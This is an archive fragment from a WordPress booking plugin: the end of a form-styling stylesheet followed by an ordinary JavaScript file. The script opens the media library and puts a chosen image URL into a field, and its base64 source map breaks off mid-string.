div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=checkbox].wpbc_form_field_error:focus, div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=checkbox].wpbc_form_field_error:hover, div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=radio].wpbc_form_field_error, div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=radio].wpbc_form_field_error:focus, div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=radio].wpbc_form_field_error:hover { border: none; box-shadow: none } wpbc_ui__media_upload.js 0000666 00000066571 15165557776 0011447 0 ustar 00 "use strict"; /** * == How to Use ? == * * 1. Load JS: * * function wpbc_register_js__media_upload( $hook ) { * if ( wpbc_can_i_load_on_this_page__media_upload() ) { * wpbc_load_js__required_for_media_upload(); * } * } * add_action( 'admin_enqueue_scripts', 'wpbc_register_js__media_upload' ); * * * 2. Inside the page use html element with this class: "wpbc_media_upload_button" * * <a href="javascript:void(0)" * class="wpbc_media_upload_button" * data-modal_title="<?php echo esc_attr( __( 'Select Image', 'booking' ) ); ?>" * data-btn_title="<?php echo esc_attr( __( 'Select Image', 'booking' ) ); ?>" * data-url_field="MY_URL_FIELD" * ><i class="menu_icon icon-1x wpbc_icn_tune"></i></a> * * 3. 'data-url_field' attribute define TEXT field, where will be inserted URL of selected image * 'data-modal_title' - Header title in popup * 'data-btn_title' - Button title in popup * * 4. If you need to update URL somewhere else at the page, use this j JavaScript hook: * * <script type="text/javascript"> * jQuery(document).ready(function(){ * jQuery( '#MY_URL_FIELD').on( 'wpbc_media_upload_url_set', function(){ * jQuery( '#MY_URL_FIELD').parents( '.wpbc_extra__excerpt_img' ).find( '.ui_group__thumbnail .wpbc_media_upload_button' ).html( '<img src="' + jQuery( '#MY_URL_FIELD').val() + '" class="search_thumbnail_img" />' ); * }); * }); * </script> * */ var wpbc_media_file_frame; jQuery(document).ready(function () { //'use strict'; jQuery('.wpbc_media_upload_button').on('click', function (event) { var j_btn = jQuery(this); var is_multi_selection = false; // var insert_field_separator = ','; // Stop the anchor's default behavior event.preventDefault(); // If frame exist close it if (wpbc_media_file_frame) { wpbc_media_file_frame.close(); } // ----------------------------------------------------------------------------------------------------- // Create Media Frame // ----------------------------------------------------------------------------------------------------- wpbc_media_file_frame = wp.media.frames.wpbc_media_upload_file_frame = wp.media({ // Check here ../wp-includes/js/media-views.js // Set the title of the modal. title: j_btn.data('modal_title'), library: { // type: '' // type: [ 'video', 'image' ] type: ['image'] }, button: { text: j_btn.data('btn_title') }, multiple: is_multi_selection // states: [ // new wp.media.controller.Library( { // /* // Add to this libaray custom post parameter: $_POST['query'][ $media_uploader_params['key'] ] = $media_uploader_params['value'] // We are checking in functon wpbc_media_filter_posts_where media files that only relative to this medi Frame opening // And filtering posts (in WHERE) relative custom path to our files. // echo '{' . $media_uploader_params['key'] . ": '" . $media_uploader_params['value'] . "' }"; // */ // library: wp.media.query(), // multiple: is_multi_selection, // title: j_btn.data( 'modal_title' ), // priority: 15, // filterable: 'uploaded', // type: ['image'] // // idealColumnWidth: 125 // } ) // ] }); /* /////////////////////////////////////////////////////////////////////// // Set custom parameters for uploader -> $_POST['wpbc_media_type'] - checking in "upload_dir", when filter_upload_dir /////////////////////////////////////////////////////////////////////// wpbc_media_file_frame.on( 'ready', function () { wpbc_media_file_frame.uploader.options.uploader.params = { type: 'wpbc_media_download', <?php echo $media_uploader_params['key'] . ": '" . $media_uploader_params['value'] . "'"; ?> }; } ); */ /////////////////////////////////////////////////////////////////////// // When File have selected, do this /////////////////////////////////////////////////////////////////////// wpbc_media_file_frame.on('select', function () { if (!is_multi_selection) { // Single file var attachment = wpbc_media_file_frame.state().get('selection').first().toJSON(); // Put URL of file to text field jQuery('#' + j_btn.data('url_field')).val(attachment.url); jQuery('#' + j_btn.data('url_field')).trigger("wpbc_media_upload_url_set"); //j_btn.parents( '.wpbc_extra__excerpt_img' ).find( '.ui_group__thumbnail .wpbc_media_upload_button' ).html( '<img src="' + attachment.url + '" class="search_thumbnail_img" />' ); } else { // Multiple files. var file_paths = ''; // var csv_data_line = ''; wpbc_media_file_frame.state().get('selection').map(function (attachment) { /* // Request new data attachment.fetch().then(function (data) { console.log(data); // preloading finished after this you can use your attachment normally // wp.media.attachment( attachment.id ).get('url'); }); */ attachment = attachment.toJSON(); /* if ( attachment.url ) { // Insert info from selected files csv_data_line = attachment.id + insert_field_separator + attachment.title + insert_field_separator + attachment.wpbc_media_version_num + insert_field_separator + attachment.description + insert_field_separator + attachment.url file_paths = file_paths ? file_paths + "\n" + csv_data_line : csv_data_line; } */ file_paths = file_paths ? file_paths + "\n" + attachment.url : attachment.url; }); jQuery('#' + j_btn.data('url_field')).val(file_paths); jQuery('#' + j_btn.data('url_field')).trigger("wpbc_media_upload_url_set"); } }); /* // Fires when a state activates. wpbc_media_file_frame.on( 'activate', function() { alert('activate'); } ); // Fires after the frame markup has been built, but not appended to the DOM. // @see wp.media.view.Modal.attach() wpbc_media_file_frame.on( 'ready', function() { alert('ready'); } ); // Fires when the frame's $el is appended to its DOM container. // @see media.view.Modal.attach() wpbc_media_file_frame.on( 'attach', function() { alert('attach'); } ); // Fires when the modal opens (becomes visible). // @see media.view.Modal.open() wpbc_media_file_frame.on( 'open', function() { alert('open'); } ); // Fires when the modal closes via the escape key. // @see media.view.Modal.close() wpbc_media_file_frame.on( 'escape', function() { alert('escape'); } ); // Fires when the modal closes. // @see media.view.Modal.close() wpbc_media_file_frame.on( 'close', function() { alert('close'); } ); // Fires when a user has selected attachment(s) and clicked the select button. // @see media.view.MediaFrame.Post.mainInsertToolbar() wpbc_media_file_frame.on( 'select', function() { var selectionCollection = wpbc_media_file_frame.state().get('select'); } ); // Fires when a mode is deactivated on a region { 'menu' | title | content | toolbar | router } wpbc_media_file_frame.on( 'content:deactivate', function() { alert('{region}:deactivate'); } ); // and a more specific event including the mode. wpbc_media_file_frame.on( 'content:deactivate:{mode}', function() { alert('{region}:deactivate{mode}'); } ); // Fires when a region is ready for its view to be created. wpbc_media_file_frame.on( 'content:create', function() { alert('{region}:create'); } ); // and a more specific event including the mode. wpbc_media_file_frame.on( 'content:create:{mode}', function() { alert('{region}:create{mode}'); } ); // Fires when a region is ready for its view to be rendered. wpbc_media_file_frame.on( 'content:render', function() { alert('{region}:render'); } ); // and a more specific event including the mode. wpbc_media_file_frame.on( 'content:render:{mode}', function() { alert('{region}:render{mode}'); } ); // Fires when a new mode is activated (after it has been rendered) on a region. wpbc_media_file_frame.on( 'content:activate', function() { alert('{region}:activate'); } ); // and a more specific event including the mode. wpbc_media_file_frame.on( 'content:activate:{mode}', function() { alert('{region}:activate{mode}'); } ); // Get an object representing the current state. //wpbc_media_file_frame.state(); // Get an object representing the previous state. //wpbc_media_file_frame.lastState(); */ /* // Debuge all events from media Frame! wpbc_media_file_frame.on( "all", function ( eventName ){ console.log( 'Frame Event: ' + eventName ); } ); // Debuge all events from media Frame! wp.media.model.Attachment.get( "collection" ).collection.on( "all", function ( eventName ){ console.log( '[Collection] Event: ' + eventName ); } ); wp.media.model.Attachment.get( "models" ).collection.on( "all", function ( eventName ){ console.log( '[models] Event: ' + eventName ); } ); wp.media.model.Attachment.get( "views" ).collection.on( "all", function ( eventName ){ console.log( '[views] Event: ' + eventName ); } ); */ // Open the modal. wpbc_media_file_frame.open(); }); }); //# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiaW5jbHVkZXMvX21lZGlhX3VwbG9hZC9fb3V0L3dwYmNfdWlfX21lZGlhX3VwbG9hZC5qcyIsIm5hbWVzIjpbIndwYmNfbWVkaWFfZmlsZV9mcmFtZSIsImpRdWVyeSIsImRvY3VtZW50IiwicmVhZHkiLCJvbiIsImV2ZW50Iiwial9idG4iLCJpc19tdWx0aV9zZWxlY3Rpb24iLCJwcmV2ZW50RGVmYXVsdCIsImNsb3NlIiwid3AiLCJtZWRpYSIsImZyYW1lcyIsIndwYmNfbWVkaWFfdXBsb2FkX2ZpbGVfZnJhbWUiLCJ0aXRsZSIsImRhdGEiLCJsaWJyYXJ5IiwidHlwZSIsImJ1dHRvbiIsInRleHQiLCJtdWx0aXBsZSIsImF0dGFjaG1lbnQiLCJzdGF0ZSIsImdldCIsImZpcnN0IiwidG9KU09OIiwidmFsIiwidXJsIiwidHJpZ2dlciIsImZpbGVfcGF0aHMiLCJtYXAiLCJvcGVuIl0sInNvdXJjZXMiOlsiaW5jbHVkZXMvX21lZGlhX3VwbG9hZC9fc3JjL3dwYmNfdWlfX21lZGlhX3VwbG9hZC5qcyJdLCJzb3VyY2VzQ29udGVudCI6WyIvKipcclxuICogPT0gSG93IHRvIFVzZSA/ICA9PVxyXG4gKlxyXG4gKiAxLiBMb2FkIEpTOlxyXG4gKlxyXG4gKiBmdW5jdGlvbiB3cGJjX3JlZ2lzdGVyX2pzX19tZWRpYV91cGxvYWQoICRob29rICkge1xyXG4gKiAgICAgIGlmICggd3BiY19jYW5faV9sb2FkX29uX3RoaXNfcGFnZV9fbWVkaWFfdXBsb2FkKCkgKSB7XHJcbiAqICAgICAgICAgIHdwYmNfbG9hZF9qc19fcmVxdWlyZWRfZm9yX21lZGlhX3VwbG9hZCgpO1xyXG4gKiAgICAgIH1cclxuICogfVxyXG4gKiBhZGRfYWN0aW9uKCAnYWRtaW5fZW5xdWV1ZV9zY3JpcHRzJywgJ3dwYmNfcmVnaXN0ZXJfanNfX21lZGlhX3VwbG9hZCcgICk7XHJcbiAqXHJcbiAqXHJcbiAqIDIuIEluc2lkZSB0aGUgcGFnZSB1c2UgaHRtbCBlbGVtZW50IHdpdGggIHRoaXMgY2xhc3M6ICBcIndwYmNfbWVkaWFfdXBsb2FkX2J1dHRvblwiXHJcbiAqXHJcbiAqIDxhICAgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKVwiXHJcbiAqICAgICAgY2xhc3M9XCJ3cGJjX21lZGlhX3VwbG9hZF9idXR0b25cIlxyXG4gKiAgICAgIGRhdGEtbW9kYWxfdGl0bGU9XCI8P3BocCBlY2hvIGVzY19hdHRyKCBfXyggJ1NlbGVjdCBJbWFnZScsICdib29raW5nJyApICk7ID8+XCJcclxuICogICAgICBkYXRhLWJ0bl90aXRsZT1cIjw/cGhwIGVjaG8gZXNjX2F0dHIoIF9fKCAnU2VsZWN0IEltYWdlJywgJ2Jvb2tpbmcnICkgKTsgPz5cIlxyXG4gKiAgICAgIGRhdGEtdXJsX2ZpZWxkPVwiTVlfVVJMX0ZJRUxEXCJcclxuICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID48aSBjbGFzcz1cIm1lbnVfaWNvbiBpY29uLTF4IHdwYmNfaWNuX3R1bmVcIj48L2k+PC9hPlxyXG4gKlxyXG4gKiAgIDMuICdkYXRhLXVybF9maWVsZCcgYXR0cmlidXRlIGRlZmluZSBURVhUIGZpZWxkLCAgd2hlcmUgd2lsbCBiZSBpbnNlcnRlZCBVUkwgb2Ygc2VsZWN0ZWQgaW1hZ2VcclxuICogICAgICAnZGF0YS1tb2RhbF90aXRsZScgIC0gSGVhZGVyIHRpdGxlIGluIHBvcHVwXHJcbiAqICAgICAgJ2RhdGEtYnRuX3RpdGxlJyAgICAtIEJ1dHRvbiB0aXRsZSBpbiBwb3B1cFxyXG4gKlxyXG4gKiAgIDQuIElmIHlvdSBuZWVkIHRvICB1cGRhdGUgVVJMICBzb21ld2hlcmUgZWxzZSBhdCAgdGhlIHBhZ2UsICB1c2UgdGhpcyBqIEphdmFTY3JpcHQgaG9vazpcclxuICpcclxuICogPHNjcmlwdCB0eXBlPVwidGV4dC9qYXZhc2NyaXB0XCI+XHJcbiAqICBqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7XHJcbiAqICAgIGpRdWVyeSggJyNNWV9VUkxfRklFTEQnKS5vbiggJ3dwYmNfbWVkaWFfdXBsb2FkX3VybF9zZXQnLCBmdW5jdGlvbigpe1xyXG4gKiAgICAgICAgalF1ZXJ5KCAnI01ZX1VSTF9GSUVMRCcpLnBhcmVudHMoICcud3BiY19leHRyYV9fZXhjZXJwdF9pbWcnICkuZmluZCggJy51aV9ncm91cF9fdGh1bWJuYWlsIC53cGJjX21lZGlhX3VwbG9hZF9idXR0b24nICkuaHRtbCggJzxpbWcgc3JjPVwiJyArIGpRdWVyeSggJyNNWV9VUkxfRklFTEQnKS52YWwoKSArICdcIiBjbGFzcz1cInNlYXJjaF90aHVtYm5haWxfaW1nXCIgLz4nICk7XHJcbiAqICAgIH0pO1xyXG4gKiAgfSk7XHJcbiAqIDwvc2NyaXB0PlxyXG4gKlxyXG4gKi9cclxuXHJcbnZhciB3cGJjX21lZGlhX2ZpbGVfZnJhbWU7XHJcblxyXG5qUXVlcnkoIGRvY3VtZW50ICkucmVhZHkoIGZ1bmN0aW9uICgpe1xyXG5cdC8vJ3VzZSBzdHJpY3QnO1xyXG5cclxuXHRqUXVlcnkoICcud3BiY19tZWRpYV91cGxvYWRfYnV0dG9uJyApLm9uKCAnY2xpY2snLCBmdW5jdGlvbiggZXZlbnQgKSB7XHJcblxyXG5cdFx0dmFyIGpfYnRuID0galF1ZXJ5KCB0aGlzICk7XHJcblx0XHR2YXIgaXNfbXVsdGlfc2VsZWN0aW9uID0gZmFsc2U7XHJcblx0XHQvLyB2YXIgaW5zZXJ0X2ZpZWxkX3NlcGFyYXRvciA9ICcsJztcclxuXHJcblx0XHQvLyBTdG9wIHRoZSBhbmNob3IncyBkZWZhdWx0IGJlaGF2aW9yXHJcblx0XHRldmVudC5wcmV2ZW50RGVmYXVsdCgpO1xyXG5cclxuXHRcdC8vIElmIGZyYW1lIGV4aXN0IGNsb3NlIGl0XHJcblx0XHRpZiAoIHdwYmNfbWVkaWFfZmlsZV9mcmFtZSApIHtcclxuXHRcdFx0d3BiY19tZWRpYV9maWxlX2ZyYW1lLmNsb3NlKCk7XHJcblx0XHR9XHJcblxyXG5cdFx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdC8vIENyZWF0ZSBNZWRpYSBGcmFtZVxyXG5cdFx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdHdwYmNfbWVkaWFfZmlsZV9mcmFtZSA9IHdwLm1lZGlhLmZyYW1lcy53cGJjX21lZGlhX3VwbG9hZF9maWxlX2ZyYW1lID0gd3AubWVkaWEoIHtcdFx0XHRcdFx0XHRcdFx0Ly8gQ2hlY2sgIGhlcmUgLi4vd3AtaW5jbHVkZXMvanMvbWVkaWEtdmlld3MuanNcclxuXHRcdFx0Ly8gU2V0IHRoZSB0aXRsZSBvZiB0aGUgbW9kYWwuXHJcblx0XHRcdHRpdGxlOiBqX2J0bi5kYXRhKCAnbW9kYWxfdGl0bGUnICksXHJcblx0XHRcdGxpYnJhcnk6IHtcclxuXHRcdFx0XHQgLy9cdHR5cGU6ICcnXHJcblx0XHRcdFx0IC8vIHR5cGU6IFsgJ3ZpZGVvJywgJ2ltYWdlJyBdXHJcblx0XHRcdFx0IHR5cGU6IFsgJ2ltYWdlJyBdXHJcblx0XHRcdH0sXHJcblx0XHRcdGJ1dHRvbjoge1xyXG5cdFx0XHRcdHRleHQ6IGpfYnRuLmRhdGEoICdidG5fdGl0bGUnICksXHJcblx0XHRcdH0sXHJcblx0XHRcdG11bHRpcGxlOiBpc19tdWx0aV9zZWxlY3Rpb24sXHJcblx0XHRcdC8vIHN0YXRlczogW1xyXG5cdFx0XHQvLyBcdFx0XHRuZXcgd3AubWVkaWEuY29udHJvbGxlci5MaWJyYXJ5KCB7XHJcblx0XHRcdC8vIFx0XHRcdFx0LypcclxuXHRcdFx0Ly8gXHRcdFx0XHRcdEFkZCB0byAgdGhpcyBsaWJhcmF5IGN1c3RvbSBwb3N0ICBwYXJhbWV0ZXI6ICRfUE9TVFsncXVlcnknXVsgJG1lZGlhX3VwbG9hZGVyX3BhcmFtc1sna2V5J10gXSA9ICRtZWRpYV91cGxvYWRlcl9wYXJhbXNbJ3ZhbHVlJ11cclxuXHRcdFx0Ly8gXHRcdFx0XHRcdFdlIGFyZSBjaGVja2luZyBpbiBmdW5jdG9uIHdwYmNfbWVkaWFfZmlsdGVyX3Bvc3RzX3doZXJlIG1lZGlhIGZpbGVzIHRoYXQgIG9ubHkgIHJlbGF0aXZlIHRvICB0aGlzIG1lZGkgRnJhbWUgb3BlbmluZ1xyXG5cdFx0XHQvLyBcdFx0XHRcdFx0QW5kIGZpbHRlcmluZyBwb3N0cyAoaW4gV0hFUkUpIHJlbGF0aXZlIGN1c3RvbSBwYXRoIHRvICBvdXIgZmlsZXMuXHJcblx0XHRcdC8vIFx0XHRcdFx0XHRlY2hvICd7JyAuICRtZWRpYV91cGxvYWRlcl9wYXJhbXNbJ2tleSddIC4gXCI6ICdcIiAuICRtZWRpYV91cGxvYWRlcl9wYXJhbXNbJ3ZhbHVlJ10gLiBcIicgfVwiO1xyXG5cdFx0XHQvLyBcdFx0XHRcdCovXHJcblx0XHRcdC8vIFx0XHRcdFx0XHRcdGxpYnJhcnk6IHdwLm1lZGlhLnF1ZXJ5KCksXHJcblx0XHRcdC8vIFx0XHRcdFx0XHRcdG11bHRpcGxlOiBpc19tdWx0aV9zZWxlY3Rpb24sXHJcblx0XHRcdC8vIFx0XHRcdFx0XHRcdHRpdGxlOlx0al9idG4uZGF0YSggJ21vZGFsX3RpdGxlJyApLFxyXG5cdFx0XHQvLyBcdFx0XHRcdFx0XHRwcmlvcml0eTogMTUsXHJcblx0XHRcdC8vIFx0XHRcdFx0XHRcdGZpbHRlcmFibGU6ICd1cGxvYWRlZCcsXHJcblx0XHRcdC8vIFx0XHRcdFx0IFx0XHR0eXBlOiBbJ2ltYWdlJ11cclxuXHRcdFx0Ly8gXHRcdFx0XHRcdFx0Ly8gaWRlYWxDb2x1bW5XaWR0aDogMTI1XHJcblx0XHRcdC8vIFx0XHRcdFx0fSApXHJcblx0XHRcdC8vIFx0XHRdXHJcblx0XHR9ICk7XHJcblxyXG5cdFx0LypcclxuXHRcdC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vXHJcblx0XHQvLyBTZXQgIGN1c3RvbSBwYXJhbWV0ZXJzIGZvciB1cGxvYWRlclx0LT4gICRfUE9TVFsnd3BiY19tZWRpYV90eXBlJ10gLSBjaGVja2luZyBpbiBcInVwbG9hZF9kaXJcIiwgIHdoZW4gZmlsdGVyX3VwbG9hZF9kaXJcclxuXHRcdC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vXHJcblx0XHR3cGJjX21lZGlhX2ZpbGVfZnJhbWUub24oICdyZWFkeScsIGZ1bmN0aW9uICgpIHtcclxuXHRcdFx0d3BiY19tZWRpYV9maWxlX2ZyYW1lLnVwbG9hZGVyLm9wdGlvbnMudXBsb2FkZXIucGFyYW1zID0ge1xyXG5cdFx0XHRcdHR5cGU6ICd3cGJjX21lZGlhX2Rvd25sb2FkJyxcclxuXHRcdFx0XHQ8P3BocFxyXG5cdFx0XHRcdGVjaG8gJG1lZGlhX3VwbG9hZGVyX3BhcmFtc1sna2V5J10gLiBcIjogJ1wiIC4gJG1lZGlhX3VwbG9hZGVyX3BhcmFtc1sndmFsdWUnXSAuIFwiJ1wiO1xyXG5cdFx0XHRcdD8+XHJcblx0XHRcdH07XHJcblx0XHR9ICk7XHJcblx0XHQqL1xyXG5cclxuXHRcdC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vXHJcblx0XHQvLyBXaGVuIEZpbGUgaGF2ZSBzZWxlY3RlZCwgZG8gdGhpc1xyXG5cdFx0Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy9cclxuXHRcdHdwYmNfbWVkaWFfZmlsZV9mcmFtZS5vbiggJ3NlbGVjdCcsIGZ1bmN0aW9uICgpIHtcclxuXHJcblx0XHRcdGlmICggISBpc19tdWx0aV9zZWxlY3Rpb24gKSB7IC8vIFNpbmdsZSBmaWxlXHJcblxyXG5cdFx0XHRcdHZhciBhdHRhY2htZW50ID0gd3BiY19tZWRpYV9maWxlX2ZyYW1lLnN0YXRlKCkuZ2V0KCAnc2VsZWN0aW9uJyApLmZpcnN0KCkudG9KU09OKCk7XHJcblxyXG5cdFx0XHRcdC8vIFB1dCBVUkwgb2YgZmlsZSB0byB0ZXh0IGZpZWxkXHJcblx0XHRcdFx0alF1ZXJ5KCAnIycgKyBqX2J0bi5kYXRhKCAndXJsX2ZpZWxkJyApICkudmFsKCBhdHRhY2htZW50LnVybCApO1xyXG5cdFx0XHRcdGpRdWVyeSggJyMnICsgal9idG4uZGF0YSggJ3VybF9maWVsZCcgKSApLnRyaWdnZXIoIFwid3BiY19tZWRpYV91cGxvYWRfdXJsX3NldFwiICk7XHJcblxyXG5cdFx0XHRcdC8val9idG4ucGFyZW50cyggJy53cGJjX2V4dHJhX19leGNlcnB0X2ltZycgKS5maW5kKCAnLnVpX2dyb3VwX190aHVtYm5haWwgLndwYmNfbWVkaWFfdXBsb2FkX2J1dHRvbicgKS5odG1sKCAnPGltZyBzcmM9XCInICsgYXR0YWNobWVudC51cmwgKyAnXCIgY2xhc3M9XCJzZWFyY2hfdGh1bWJuYWlsX2ltZ1wiIC8+JyApO1xyXG5cclxuXHRcdFx0fSBlbHNlIHsgLy8gTXVsdGlwbGUgZmlsZXMuXHJcblxyXG5cdFx0XHRcdHZhciBmaWxlX3BhdGhzID0gJyc7XHJcblx0XHRcdFx0Ly8gdmFyIGNzdl9kYXRhX2xpbmUgPSAnJztcclxuXHRcdFx0XHR3cGJjX21lZGlhX2ZpbGVfZnJhbWUuc3RhdGUoKS5nZXQoICdzZWxlY3Rpb24nICkubWFwKCBmdW5jdGlvbiAoIGF0dGFjaG1lbnQgKXtcclxuXHJcblx0XHRcdFx0XHRcdC8qXHJcblx0XHRcdFx0XHRcdFx0Ly8gUmVxdWVzdCAgbmV3IGRhdGFcclxuXHRcdFx0XHRcdFx0XHRhdHRhY2htZW50LmZldGNoKCkudGhlbihmdW5jdGlvbiAoZGF0YSkge1xyXG5cdFx0XHRcdFx0XHRcdFx0Y29uc29sZS5sb2coZGF0YSk7XHJcblx0XHRcdFx0XHRcdFx0XHQvLyBwcmVsb2FkaW5nIGZpbmlzaGVkIGFmdGVyIHRoaXMgeW91IGNhbiB1c2UgeW91ciBhdHRhY2htZW50IG5vcm1hbGx5XHJcblx0XHRcdFx0XHRcdFx0XHQvLyB3cC5tZWRpYS5hdHRhY2htZW50KCBhdHRhY2htZW50LmlkICkuZ2V0KCd1cmwnKTtcclxuXHRcdFx0XHRcdFx0XHR9KTtcclxuXHRcdFx0XHRcdFx0Ki9cclxuXHJcblx0XHRcdFx0XHRhdHRhY2htZW50ID0gYXR0YWNobWVudC50b0pTT04oKTtcclxuXHJcblx0XHRcdFx0XHRcdC8qXHJcblx0XHRcdFx0XHRcdFx0aWYgKCBhdHRhY2htZW50LnVybCApIHtcclxuXHRcdFx0XHRcdFx0XHRcdC8vIEluc2VydCBpbmZvIGZyb20gc2VsZWN0ZWQgZmlsZXNcclxuXHRcdFx0XHRcdFx0XHRcdGNzdl9kYXRhX2xpbmUgPSBhdHRhY2htZW50LmlkICsgaW5zZXJ0X2ZpZWxkX3NlcGFyYXRvciArIGF0dGFjaG1lbnQudGl0bGUgICsgaW5zZXJ0X2ZpZWxkX3NlcGFyYXRvciArIGF0dGFjaG1lbnQud3BiY19tZWRpYV92ZXJzaW9uX251bSAgKyBpbnNlcnRfZmllbGRfc2VwYXJhdG9yICsgYXR0YWNobWVudC5kZXNjcmlwdGlvbiArIGluc2VydF9maWVsZF9zZXBhcmF0b3IgKyBhdHRhY2htZW50LnVybFxyXG5cdFx0XHRcdFx0XHRcdFx0ZmlsZV9wYXRocyA9IGZpbGVfcGF0aHMgPyBmaWxlX3BhdGhzICsgXCJcXG5cIiArIGNzdl9kYXRhX2xpbmUgOiBjc3ZfZGF0YV9saW5lO1xyXG5cdFx0XHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdFx0Ki9cclxuXHRcdFx0XHRcdCBmaWxlX3BhdGhzID0gZmlsZV9wYXRocyA/IGZpbGVfcGF0aHMgKyBcIlxcblwiICsgYXR0YWNobWVudC51cmwgOiBhdHRhY2htZW50LnVybDtcclxuXHRcdFx0XHR9KTtcclxuXHJcblx0XHRcdFx0alF1ZXJ5KCAnIycgKyBqX2J0bi5kYXRhKCAndXJsX2ZpZWxkJyApICkudmFsKCBmaWxlX3BhdGhzICk7XHJcblx0XHRcdFx0alF1ZXJ5KCAnIycgKyBqX2J0bi5kYXRhKCAndXJsX2ZpZWxkJyApICkudHJpZ2dlciggXCJ3cGJjX21lZGlhX3VwbG9hZF91cmxfc2V0XCIgKTtcclxuXHRcdFx0fVxyXG5cclxuXHRcdH0gKTtcclxuXHJcblx0XHQvKlxyXG5cdFx0XHQvLyBGaXJlcyB3aGVuIGEgc3RhdGUgYWN0aXZhdGVzLlxyXG5cdFx0XHR3cGJjX21lZGlhX2ZpbGVfZnJhbWUub24oICdhY3RpdmF0ZScsIGZ1bmN0aW9uKCkgeyBhbGVydCgnYWN0aXZhdGUnKTsgfSApO1xyXG5cclxuXHRcdFx0Ly8gRmlyZXMgYWZ0ZXIgdGhlIGZyYW1lIG1hcmt1cCBoYXMgYmVlbiBidWlsdCwgYnV0IG5vdCBhcHBlbmRlZCB0byB0aGUgRE9NLlxyXG5cdFx0XHQvLyBAc2VlIHdwLm1lZGlhLnZpZXcuTW9kYWwuYXR0YWNoKClcclxuXHRcdFx0d3BiY19tZWRpYV9maWxlX2ZyYW1lLm9uKCAncmVhZHknLCBmdW5jdGlvbigpIHsgYWxlcnQoJ3JlYWR5Jyk7IH0gKTtcclxuXHJcblx0XHRcdC8vIEZpcmVzIHdoZW4gdGhlIGZyYW1lJ3MgJGVsIGlzIGFwcGVuZGVkIHRvIGl0cyBET00gY29udGFpbmVyLlxyXG5cdFx0XHQvLyBAc2VlIG1lZGlhLnZpZXcuTW9kYWwuYXR0YWNoKClcclxuXHRcdFx0d3BiY19tZWRpYV9maWxlX2ZyYW1lLm9uKCAnYXR0YWNoJywgZnVuY3Rpb24oKSB7IGFsZXJ0KCdhdHRhY2gnKTsgfSApO1xyXG5cclxuXHRcdFx0Ly8gRmlyZXMgd2hlbiB0aGUgbW9kYWwgb3BlbnMgKGJlY29tZXMgdmlzaWJsZSkuXHJcblx0XHRcdC8vIEBzZWUgbWVkaWEudmlldy5Nb2RhbC5vcGVuKClcclxuXHRcdFx0d3BiY19tZWRpYV9maWxlX2ZyYW1lLm9uKCAnb3BlbicsIGZ1bmN0aW9uKCkgeyBhbGVydCgnb3BlbicpOyB9ICk7XHJcblxyXG5cdFx0XHQvLyBGaXJlcyB3aGVuIHRoZSBtb2RhbCBjbG9zZXMgdmlhIHRoZSBlc2NhcGUga2V5LlxyXG5cdFx0XHQvLyBAc2VlIG1lZGlhLnZpZXcuTW9kYWwuY2xvc2UoKVxyXG5cdFx0XHR3cGJjX21lZGlhX2ZpbGVfZnJhbWUub24oICdlc2NhcGUnLCBmdW5jdGlvbigpIHsgYWxlcnQoJ2VzY2FwZScpOyB9ICk7XHJcblxyXG5cdFx0XHQvLyBGaXJlcyB3aGVuIHRoZSBtb2RhbCBjbG9zZXMuXHJcblx0XHRcdC8vIEBzZWUgbWVkaWEudmlldy5Nb2RhbC5jbG9zZSgpXHJcblx0XHRcdHdwYmNfbWVkaWFfZmlsZV9mcmFtZS5vbiggJ2Nsb3NlJywgZnVuY3Rpb24oKSB7IGFsZXJ0KCdjbG9zZScpOyB9ICk7XHJcblxyXG5cdFx0XHQvLyBGaXJlcyB3aGVuIGEgdXNlciBoYXMgc2VsZWN0ZWQgYXR0YWNobWVudChzKSBhbmQgY2xpY2tlZCB0aGUgc2VsZWN0IGJ1dHRvbi5cclxuXHRcdFx0Ly8gQHNlZSBtZWRpYS52aWV3Lk1lZGlhRnJhbWUuUG9zdC5tYWluSW5zZXJ0VG9vbGJhcigpXHJcblx0XHRcdHdwYmNfbWVkaWFfZmlsZV9mcmFtZS5vbiggJ3NlbGVjdCcsIGZ1bmN0aW9uKCkge1xyXG5cdFx0XHRcdHZhciBzZWxlY3Rpb25Db2xsZWN0aW9uID0gd3BiY19tZWRpYV9maWxlX2ZyYW1lLnN0YXRlKCkuZ2V0KCdzZWxlY3QnKTtcclxuXHRcdFx0fSApO1xyXG5cclxuXHRcdFx0Ly8gRmlyZXMgd2hlbiBhIG1vZGUgaXMgZGVhY3RpdmF0ZWQgb24gYSByZWdpb24geyAnbWVudScgfCB0aXRsZSB8IGNvbnRlbnQgfCB0b29sYmFyIHwgcm91dGVyIH1cclxuXHRcdFx0d3BiY19tZWRpYV9maWxlX2ZyYW1lLm9uKCAnY29udGVudDpkZWF